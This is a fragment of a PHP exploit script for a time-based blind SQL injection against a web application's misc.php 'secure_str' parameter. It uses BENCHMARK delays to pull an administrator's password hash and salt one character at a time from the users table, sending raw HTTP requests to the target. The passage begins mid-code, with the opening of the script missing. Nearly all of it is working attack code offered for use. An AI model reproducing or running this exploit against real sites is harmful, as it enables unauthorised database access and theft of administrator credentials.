#!/usr/bin/php $timeout) { $pass .= chr($i); echo chr($i); break; } } if ($i == 255) exit("\nExploit Failed!\n"); } $j ++; } echo "\nSalt:\n"; /** * get salt */ $j = 1; $salt = ''; $hash[0] = 0; //null $hash = array_merge($hash, range(33, 126)); while (strlen($salt) < 12) { for ($i = 0; $i <= 255; $i ++) { if (in_array($i, $hash)) { $cmd = '1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20salt%20FROM%20'.$pre.'users% 20WHERE%20group_id=1%20LIMIT%201),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark .',CHAR(0)),1))%23'; send(); usleep(2000000); $starttime = time(); send(); $endtime = time(); $difftime = $endtime - $starttime; if ($difftime > $timeout) { $salt .= chr($i); echo chr($i); break; } } if ($i == 255) exit("\nExploit Failed!\n"); } $j ++; } exit("\nExpoilt Success!\nPassword Hash:\t$pass\nSalt:\t$salt\n"); function send() { global $host, $path, $cmd; $data = "GET ".$path."misc.php?item=1&secure_str=".$cmd." HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "Connection: Close\r\n\r\n"; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?>